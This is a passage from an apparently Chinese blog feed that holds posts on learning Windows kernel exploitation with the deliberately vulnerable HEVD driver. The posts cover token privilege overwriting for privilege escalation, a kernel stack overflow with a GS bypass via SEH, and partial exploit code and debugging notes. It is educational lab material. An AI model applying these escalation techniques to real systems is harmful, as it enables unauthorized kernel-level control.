*PSYSTEM_HANDLE_INFORMATION;</span><br></pre></td></tr></table></figure><p><em>这个地方用了一个无限制数组的技巧：这个<code>Handles[1]</code>其实长度可以超过1，但是这样写的话能够让编译器知道这是一段数组，从而可以无限加长这个结构体的长度，不过用sizeof查看的时候，这个Handles是当作一个数组指针大小在考虑</em><br>通过调用这个函数，能够<strong>拿到当前进程中所有打开的句柄</strong>。于是我们通过检查句柄类型，找到当前进程中使用的TOKEN的句柄。不过具体这个<code>ObjectTypeNumber</code>具体是几表示什么意思，好像网上的资料并不多。。。不过我通过<code>processexp</code>配合函数，大概总结出几个来:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">3 --&gt; Directory</span><br><span class="line">5 --&gt; Token</span><br><span class="line">7 --&gt; Process</span><br><span class="line">37 --&gt; File</span><br><span class="line">44 --&gt; Key</span><br></pre></td></tr></table></figure><p>于是这里通过给<code>GetKernelPointer</code>传入0x5，获取到这个<code>TOKEN</code>对象的真正的地址。于是之后我们就能够拿到<code>_TOKEN</code>结构体中偏移地址为<code>0x40</code>的结构体<code>_SEP_TOKEN_PRIVILEGES</code>:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">nt!_SEP_TOKEN_PRIVILEGES</span><br><span class="line">   +<span class="number">0x000</span> Present          : Uint8B</span><br><span class="line">   +<span class="number">0x008</span> Enabled          : Uint8B</span><br><span class="line">   +<span class="number">0x010</span> EnabledByDefault : Uint8B</span><br></pre></td></tr></table></figure><p>此时<code>Present</code>表示的是这个token中被开启的特权，而<code>Enabled</code>中表示的是当前token中<strong>被允许的特权</strong>。在<a href="http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf">之前提到的这篇文章中</a>，作者发现，其实Windows并不会check一个token的<code>Present</code>值，而是check<code>Enabled</code>这个位置上的值有没有被打开，来证明其权限是否打开了。所以这里我们就能够简单的利用这一点，将这个变量修改为-1，从而让当前的token获得最高的权限。</p><h3 id="踩坑记录">踩坑记录</h3><ol><li>写这篇文章的时候，居然正逢微软服务器炸了，搞得服务器上的符号下载不下来。（第一次真正意义上甩锅给微软了。。。），导致分析驱动的时候遇到了很大的问题。主要体现在分析<code>win32k.sys</code>的时候，正常看起来是这样的<br><img src="/2020/10/16/WindowKernelExploit2/win02.png" alt=""><br>但是我当时看起来，这段地址直接不能访问，我只好自己建立了一个节，然后访问过去是这样的<br><img src="/2020/10/16/WindowKernelExploit2/win00.png" alt=""><br>现在想起来，似乎是当时<strong>由于符号服务器炸了，ida导入了错误的符号表，导致连PE头都识别错了</strong>。具体错误原因我猜测应该和符号有关系，因为等过了两天符号服务器好了之后，莫名其妙的之前的坑都消失了。。。</li><li>调试的时候遇到的第一个问题就是这段内容:</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">win32k!NtGdiDdDDIGetContextSchedulingPriority:</span><br><span class="line">93e00689 ff259016e093    jmp     dword ptr [win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority (93e01690)]</span><br><span class="line">win32k!NtGdiDdDDISetContextSchedulingPriority:</span><br><span class="line">93e0068f ff258c16e093    jmp     dword ptr [win32k!_imp__NtGdiDdDDISetContextSchedulingPriority (93e0168c)]</span><br><span class="line">win32k!NtGdiDdDDIGetDeviceState:</span><br><span class="line">93e00695 ff258816e093    jmp     dword ptr [win32k!_imp__NtGdiDdDDIGetDeviceState (93e01688)]</span><br></pre></td></tr></table></figure><p>这段内容中，我想要查看<code>win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority</code>指向的内容，检查过去发现地址是这样的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; dd win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority</span><br><span class="line">93e01690  9090f62f 90858cb6 90935941 90935a69</span><br><span class="line">93e016a0  9082dad0 940dd204 940dcc95 940dc939</span><br><span class="line">93e016b0  940dbcce 940dbb6f 940dd2af 940dcbd7</span><br></pre></td></tr></table></figure><p>这个<code>9090f62f</code>就是要跳转的内容，但是我想查看的时候看到的内容是这样的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; dd 9090f62f</span><br><span class="line">9090f62f  ???????? ???????? ???????? ????????</span><br><span class="line">9090f63f  ???????? ???????? ???????? ????????</span><br><span class="line">9090f64f  ???????? ???????? ???????? ????????</span><br></pre></td></tr></table></figure><p>就很奇怪。。。后来我问了wjllz大佬，他说可能是地址空间的问题，然后给了一篇博客，里面提到了一个指令</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">!process 0 0 csrss.exe</span><br><span class="line"></span><br><span class="line">.process /p /f EPROCESS address show above</span><br></pre></td></tr></table></figure><p>然而我这么做之后，发现地址空间依然没有被映射，后来找到另一个暴力的指令：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.pagein /f addr</span><br></pre></td></tr></table></figure><p>这个指令会强迫映射地址空间，这次成功的找到了地址内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; u 9090f62f</span><br><span class="line">dxgkrnl!DxgkGetContextSchedulingPriority:</span><br><span class="line">9090f62f 68a8000000      push    0A8h</span><br><span class="line">9090f634 68a0c17d90      push    offset dxgkrnl!_realffefffffffffffff+0x1e30 (907dc1a0)</span><br><span class="line">9090f639 e876a5e8ff      call    dxgkrnl!_SEH_prolog4_GS (90799bb4)</span><br><span class="line">9090f63e 8b7508          mov     esi,dword ptr [ebp+8]</span><br><span class="line">9090f641 838d58ffffffff  or      dword ptr [ebp-0A8h],0FFFFFFFFh</span><br><span class="line">9090f648 33db            xor     ebx,ebx</span><br></pre></td></tr></table></figure><ol start="3"><li>中途一度放弃使用API<code>NtGdiDdDDIGetContextSchedulingPriority</code>，因为自己并没有去深究这个<code>win32u.dll</code>是什么。第二天和同事一起看的时候意外发现，无论怎么调用这里面的API，调用都会失败。使用windbg去调试之后发现，居然是在<code>ntdll!KiUserCallbackDispatcher </code>调用失败了:</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">.text:6A291428                 pop     edx</span><br><span class="line">.text:6A291429                 mov     eax, large fs:30h</span><br><span class="line">.text:6A29142F                 mov     eax, [eax+2Ch]</span><br><span class="line">.text:6A291432                 mov     ecx, [eax+edx*4]  &lt;--------这一句，eax为0导致的</span><br></pre></td></tr></table></figure><p>经过我们查看，这段逻辑是这样的:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">NtCurrentPeb()-&gt;KernelCallbackTable[Index]</span><br></pre></td></tr></table></figure><p>这就很奇怪了，进程的<code>KernelCallbackTable</code>居然是空的。那什么时候会填充呢？查来查去发现，原来是<strong>user32.dll</strong>中会初始化的东西，用来处理一些Ring0的系统调用。而我之前<strong>就真的很巧，没有把user32.dll包含在进程中。。。。</strong>。所以为了做戏做全套，这边只需要调用</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">LoadLibrary</span>(<span class="string">L&quot;gdi32.dll&quot;</span>)</span><br></pre></td></tr></table></figure><p>即可将<code>user32.dll</code>也导入。（gdi32.dll的初始化是在user32.dll中完成的）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">94193a54  907f2022 dxgkrnl!DxgkEnumAdapters2Impl</span><br><span class="line">94193a58  9085b540 dxgkrnl!DxgkGetMaximumAdapterCount</span><br><span class="line">94193a5c  81b2c9ea nt!ExAllocatePool</span><br><span class="line">94193a60  9081f8ac dxgkrnl!DxgkDestroyDevice</span><br><span class="line"></span><br><span class="line">1: kd&gt; k</span><br><span class="line"> # ChildEBP RetAddr  </span><br><span class="line">00 ad6e0b88 81b7628b dxgkrnl!DxgkCloseAdapter</span><br><span class="line">01 ad6e0b88 77851570 nt!KiSystemServicePostCall</span><br><span class="line">WARNING: Frame IP not in any known module. Following frames may be wrong.</span><br><span class="line">02 0053fa7c 00ad18d5 0x77851570</span><br><span class="line">03 0053fac8 777420f9 0xad18d5</span><br></pre></td></tr></table></figure><p>不过非常遗憾。。这个问题再Win1903上无法解决。。。我找到了一个大佬云集的论坛里面提到了这个问题：<br><a href="https://www.unknowncheats.me/forum/anti-cheat-bypass/335585-communicating-mapped-driver-using-hooks-5.html">https://www.unknowncheats.me/forum/anti-cheat-bypass/335585-communicating-mapped-driver-using-hooks-5.html</a><br>这个地方的人提到了，win1903里面这个<code>gDxgkInterface </code>接口不再导出函数了，而是直接在<code>dxgkrnl.sys</code>导出表里面导出，这样的话<strong>这段地址就受到了PG的保护，不能再被拿来利用了。。</strong></p><ol start="4"><li>找到秘籍之后，我第一次是无脑拷贝了shellcode，结果发生了报错:</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"> *** An Access Violation occurred in winlogon.exe:</span><br><span class="line"></span><br><span class="line">The instruction at 029F00D1 tried to write to an invalid address, 0053DFFE</span><br><span class="line"></span><br><span class="line"> *** enter .exr 02D4F880 for the exception record</span><br><span class="line"> ***  enter .cxr 02D4F89C for the context</span><br><span class="line"> *** then kb to get the faulting stack</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>后来发现人家的shellcode是x64平台上的，我这个是x86，所以换了一个shellcode就好了。。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;为了更快的解决问题，我尝试着在网上搜索相关wp，但是发现&lt;strong&gt;很多该系列的文章讨论的都不是在这个版本上进行的，所以导致很多WP在这个平台上已经不适用了。&lt;/strong&gt;&lt;br&gt;
然而现实中，Windows Kernel的EXP却也依然能够涵盖到非常新的win10版本上，说明即使在最新的win10上，也依然有利用的机会。所以这边的第二篇想简单讨论以下这种攻击在win10 1903上依然通用的一种解法&lt;/p&gt;
&lt;p&gt;本篇转自安全客 &lt;a href=&quot;https://www.anquanke.com/post/id/213428&quot;&gt;https://www.anquanke.com/post/id/213428&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;more-window-kernel-exploit-02-arbitrary-overwrite&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="windows" scheme="https://showlinkroom.me/tags/windows/"/>
    
  </entry>
  
  <entry>
    <title>WindowKernelExploit1.5</title>
    <link href="https://showlinkroom.me/2020/10/16/WindowKernelExploit01-5/"/>
    <id>https://showlinkroom.me/2020/10/16/WindowKernelExploit01-5/</id>
    <published>2020-10-16T08:50:34.000Z</published>
    <updated>2020-11-12T15:20:31.174Z</updated>
    
    <content type="html"><![CDATA[<p>利用HEVD学习windows kernel exploit 正式篇1.5 StackOverflowGS</p><h2 id="more-window-kernel-exploit-01-5-stackoverflowgs"><span id="more"></span><br>Window Kernel Exploit 01.5 - StackOverflowGS</h2><p>这一篇和上一篇的技巧几乎一致，所以就咕咕咕不写EXP了（主要还是因为懒），不过可以介绍一下和内核相关的<code>SEH</code>利用技巧:</p><h2 id="seh-with-user-mode">SEH with user mode</h2><p>记得之前曾经写过一篇和SEH相关的文章:<a href="http://showlinkroom.me/2018/01/16/WindowsPwn-SEH/">WindowsSEH</a><br>当时虽然写了一大串的利用方法，但是没写到关键上。形如如下的代码:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">__try &#123;</span><br><span class="line"></span><br><span class="line"><span class="type">char</span> buffer[<span class="number">100</span>];</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">214</span>; i++)</span><br><span class="line">buffer[i] = <span class="string">&#x27;C&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line">__except (EXCEPTION_EXECUTE_HANDLER) &#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;Now we get exception....&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实际上是不会打印<code>Now we get exception....</code>这句话的。因为<strong>当Cookie被修改的时候，代码会陷入上文提到的int 29中断</strong>，这个中断会让程序直接终止，而不是去调用异常处理链。（<em>可以这么理解：检查cookie这个过程实际上是发生在函数调用结束的时候，此时代码并没有被<code>try...except</code>包含，也就不会触发异常链。</em>）如果想要实现<strong>劫持SEH链的目的</strong>，那么需要做到的其实是</p><blockquote><p>在try…except包含的代码块中间直接抛出错误</p></blockquote><p>在这类代码中可以通过写入大量数据做到:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">   __try&#123;</span><br><span class="line">       <span class="built_in">gets</span>(buffer);</span><br><span class="line">   &#125;</span><br><span class="line">__except (EXCEPTION_EXECUTE_HANDLER) &#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;Now we get exception....&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>刚刚不是说了不能通过修改cookie触发SEH吗？</p></blockquote><p>对的，这里并不是修改cookie，而实<strong>直接写爆栈</strong>:<br><img src="/2020/10/16/WindowKernelExploit01-5/win00.png" alt=""><br>user-mode 下，正确的触发SEH的姿势就是<strong>在gets的过程中，访问了不可访问的地址，从而抛出access deny的错误</strong><br>此时，就能够通过修改<code>SEH handler</code>的方法来劫持程序流</p><h2 id="seh-with-kernel-mode">SEH with kernel mode</h2><p>然而在内核模式下，如果存在一个栈溢出的漏洞，却不能像用户空间那样玩。因为在内核中，如果访问了内核空间中不可访问的地址，那么会直接触发BSoD，并不会进入异常处理的逻辑中。那么这个时候要如何触发SEH呢？<br>对于这类特定的状况下，有一种处理方法:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">NTSTATUS <span class="title">StackOverflowGSIoctlHandler</span><span class="params">(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp)</span> </span>&#123;</span><br><span class="line">    SIZE_T Size = <span class="number">0</span>;</span><br><span class="line">    PVOID UserBuffer = <span class="literal">NULL</span>;</span><br><span class="line">    NTSTATUS Status = STATUS_UNSUCCESSFUL;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">UNREFERENCED_PARAMETER</span>(Irp);</span><br><span class="line">    <span class="built_in">PAGED_CODE</span>();</span><br><span class="line"></span><br><span class="line">    UserBuffer = IrpSp-&gt;Parameters.DeviceIoControl.Type3InputBuffer;</span><br><span class="line">    Size = IrpSp-&gt;Parameters.DeviceIoControl.InputBufferLength;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (UserBuffer) &#123;</span><br><span class="line">        Status = <span class="built_in">TriggerStackOverflowGS</span>(UserBuffer, Size);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> Status;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">NTSTATUS <span class="title">TriggerStackOverflowGS</span><span class="params">(IN PVOID UserBuffer, IN SIZE_T Size)</span> </span>&#123;</span><br><span class="line">    NTSTATUS Status = STATUS_SUCCESS;</span><br><span class="line">    UCHAR KernelBuffer[BUFFER_SIZE] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">PAGED_CODE</span>();</span><br><span class="line"></span><br><span class="line">    __try &#123;</span><br><span class="line">        <span class="comment">// Verify if the buffer resides in user mode</span></span><br><span class="line">        <span class="built_in">ProbeForRead</span>(UserBuffer, <span class="built_in">sizeof</span>(KernelBuffer), (ULONG)__alignof(KernelBuffer));</span><br><span class="line"></span><br><span class="line">        <span class="built_in">DbgPrint</span>(<span class="string">&quot;[+] UserBuffer: 0x%p\n&quot;</span>, UserBuffer);</span><br><span class="line">        <span class="built_in">DbgPrint</span>(<span class="string">&quot;[+] UserBuffer Size: 0x%X\n&quot;</span>, Size);</span><br><span class="line">        <span class="built_in">DbgPrint</span>(<span class="string">&quot;[+] KernelBuffer: 0x%p\n&quot;</span>, &amp;KernelBuffer);</span><br><span class="line">        <span class="built_in">DbgPrint</span>(<span class="string">&quot;[+] KernelBuffer Size: 0x%X\n&quot;</span>, <span class="built_in">sizeof</span>(KernelBuffer));</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> SECURE</span></span><br><span class="line">        <span class="comment">// Secure Note: This is secure because the developer is passing a size</span></span><br><span class="line">        <span class="comment">// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,</span></span><br><span class="line">        <span class="comment">// there will be no overflow</span></span><br><span class="line">        <span class="built_in">RtlCopyMemory</span>((PVOID)KernelBuffer, UserBuffer, <span class="built_in">sizeof</span>(KernelBuffer));</span><br><span class="line"><span class="meta">#<span class="keyword">else</span></span></span><br><span class="line">        <span class="built_in">DbgPrint</span>(<span class="string">&quot;[+] Triggering Stack Overflow (GS)\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability</span></span><br><span class="line">        <span class="comment">// because the developer is passing the user supplied size directly to</span></span><br><span class="line">        <span class="comment">// RtlCopyMemory()/memcpy() without validating if the size is greater or</span></span><br><span class="line">        <span class="comment">// equal to the size of KernelBuffer</span></span><br><span class="line">        <span class="built_in">RtlCopyMemory</span>((PVOID)KernelBuffer, UserBuffer, Size);</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line">    &#125;</span><br><span class="line">    __except (EXCEPTION_EXECUTE_HANDLER) &#123;</span><br><span class="line">        Status = <span class="built_in">GetExceptionCode</span>();</span><br><span class="line">        <span class="built_in">DbgPrint</span>(<span class="string">&quot;[-] Exception Code: 0x%X\n&quot;</span>, Status);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> Status;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如上，我们会发现，有漏洞的函数<strong>TriggerStackOverflowGS</strong> 所拷贝的<code>UserBuffer</code>实际上是来自于<code>IrpSp-&gt;Parameters.DeviceIoControl.Type3InputBuffer</code>。这个<code>Type3InputBuffer</code>实际上 <strong>是一个从用户态传来的指针</strong>。这个是由<code>IRP</code>控制的缓冲区，所以说不会触发<code>SAMP</code>。那么此时相当于说指针本身也是由我们控制的。</p><blockquote><p>可以<strong>人为的创造出用户空间的访问异常</strong>，从而抛出异常。</p></blockquote><p>此时可以利用<code>CreateFileMapping</code>和<code>MapViewOfFile</code>。这两个API会向进程申请一段地址空间（保留一个地址空间的区域用来存放内存映射文件），并且将这段文件映射到地址空间上。这个过程其实和系统调用<code>VirualAlloc</code>类似，唯一不同的就是这个分配的过程我们是全程可控。那么在获取了映射的地址之后，我们可以修改本来指向分配在用户地址空间开头的指针，让其指向映射地址的结尾。这样在内核在调用<code>RtlCopyMemory</code>的时候，就能控制其访问到不可访问的地址，触发SEH</p><p><img src="/2020/10/16/WindowKernelExploit01-5/win01.png" alt=""></p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Create the shared memory</span></span><br><span class="line">Sharedmemory = <span class="built_in">CreateFileMapping</span>(INVALID_HANDLE_VALUE,</span><br><span class="line">                                    <span class="literal">NULL</span>,</span><br><span class="line">                                    PAGE_EXECUTE_READWRITE,</span><br><span class="line">                                    <span class="number">0</span>,</span><br><span class="line">                                    PageSize,</span><br><span class="line">                                    SharedMemoryName);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!Sharedmemory) &#123;</span><br><span class="line">    <span class="built_in">DEBUG_ERROR</span>(<span class="string">&quot;\t\t\t[-] Failed To Create Shared Memory: 0x%X\n&quot;</span>, <span class="built_in">GetLastError</span>());</span><br><span class="line">    <span class="built_in">exit</span>(EXIT_FAILURE);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="built_in">DEBUG_INFO</span>(<span class="string">&quot;\t\t\t[+] Shared Memory Handle: 0x%p\n&quot;</span>, Sharedmemory);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">DEBUG_INFO</span>(<span class="string">&quot;\t\t[+] Mapping Shared Memory To Current Process Space\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Map the shared memory in the process space of this process</span></span><br><span class="line">SharedMappedMemoryAddress = <span class="built_in">MapViewOfFile</span>(Sharedmemory,</span><br><span class="line">                                            FILE_MAP_ALL_ACCESS,</span><br><span class="line">                                            <span class="number">0</span>,</span><br><span class="line">                                            <span class="number">0</span>,</span><br><span class="line">                                            PageSize);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!SharedMappedMemoryAddress) &#123;</span><br><span class="line">    <span class="built_in">DEBUG_ERROR</span>(<span class="string">&quot;\t\t\t[-] Failed To Map Shared Memory: 0x%X\n&quot;</span>, <span class="built_in">GetLastError</span>());</span><br><span class="line">    <span class="built_in">exit</span>(EXIT_FAILURE);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="built_in">DEBUG_INFO</span>(<span class="string">&quot;\t\t\t[+] Mapped Shared Memory: 0x%p\n&quot;</span>, SharedMappedMemoryAddress);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset));</span><br></pre></td></tr></table></figure><p>触发SEH之后，就和普通的<code>Buffer Overflow</code>一样操作即可。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;利用HEVD学习windows kernel exploit 正式篇1.5 StackOverflowGS&lt;/p&gt;
&lt;h2 id=&quot;more-window-kernel-exploit-01-5-stackoverflowgs&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="windows" scheme="https://showlinkroom.me/tags/windows/"/>
    
  </entry>
  
  <entry>
    <title>WindowKernelExploit01</title>
    <link href="https://showlinkroom.me/2020/10/16/WindowKernelExploit01/"/>
    <id>https://showlinkroom.me/2020/10/16/WindowKernelExploit01/</id>
    <published>2020-10-16T08:34:34.000Z</published>
    <updated>2020-11-12T15:09:13.694Z</updated>
    
    <content type="html"><![CDATA[<p>利用HEVD学习windows kernel exploit 正式篇1 StackOverflow</p><p>本篇转自安全客 <a href="https://www.anquanke.com/post/id/218682">https://www.anquanke.com/post/id/218682</a></p><h2 id="more-window-kernel-exploit-01-stackoverflow"><span id="more"></span><br>Window Kernel Exploit 01 - StackOverflow</h2><p>栈溢出是一个最基本的漏洞利用方式，这里我们利用这个作为入门学习，了解一下在 Windows Kernel 下执行栈溢出的不同之处。</p><h2 id="漏洞程序">漏洞程序</h2><p>找到之前准备好的<code>HackSysExtremeVulnerableDriver.sys</code>，里面有一个准备好的带有栈溢出的函数，叫做<code>StackOverflowIoctlHandler</code>。我们通过逆向，找到对应触发函数的<code>IOCTL</code>:<br><img src="/2020/10/16/WindowKernelExploit01/win00.png" alt=""><br>记录下此时的 IOCTL Code 为 222003h。之后我们来看这个程序的内部逻辑:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __stdcall <span class="title function_">StackOverflowIoctlHandler</span><span class="params">(PIRP a1, PIO_STACK_LOCATION a2)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v2; <span class="comment">// ecx</span></span><br><span class="line">  HANDLE v3; <span class="comment">// edx</span></span><br><span class="line"></span><br><span class="line">  v2 = <span class="number">0xC0000001</span>;</span><br><span class="line">  v3 = a2-&gt;Parameters.SetFile.DeleteHandle;</span><br><span class="line">  <span class="keyword">if</span> ( v3 )</span><br><span class="line">    v2 = TriggerStackOverflow(v3, a2-&gt;Parameters.Create.Options);</span><br><span class="line">  <span class="keyword">return</span> v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><em>这里注意一下，这类<code>IOCTL Handle Routine</code>的传入参数类型是固定的，一定是第一个为<code>PRIR</code>，第二个为<code>PIO_STACK_LOCATION</code>，如果没有识别出参数的话，可以直接指定参数类型</em><br>此时发现，这个<code>a2</code>好像识别的有一点问题，从函数名也能猜到，程序逻辑本身应该是一个读取<code>Buffer</code>的逻辑，不应该和<code>SetFile</code>这类文件操作相关，所以这里推测，应该是<code>PIO_STACK_LOCATION</code>结构体中存在<code>union</code>结构，所以此时识别的结构体出现了错误。这个时候回退到<code>Disassembly</code>的界面，然后在参数的位置处右键，选择<code>Structure Offset</code>，就能够修改当前结构体识别的类型。<br><img src="/2020/10/16/WindowKernelExploit01/win01.png" alt=""><br>这里我们修改成和<code>DeviceIoControl</code>相关的<code>DeviceIoControl.Type3InputBuffer</code>，下面的参数也修改成<code>DeviceIoControl.InputBufferLength</code>，整个逻辑就变成了</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __stdcall <span class="title function_">StackOverflowIoctlHandler</span><span class="params">(PIRP a1, _IO_STACK_LOCATION *a2)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v2; <span class="comment">// ecx</span></span><br><span class="line">  PVOID Buffer; <span class="comment">// 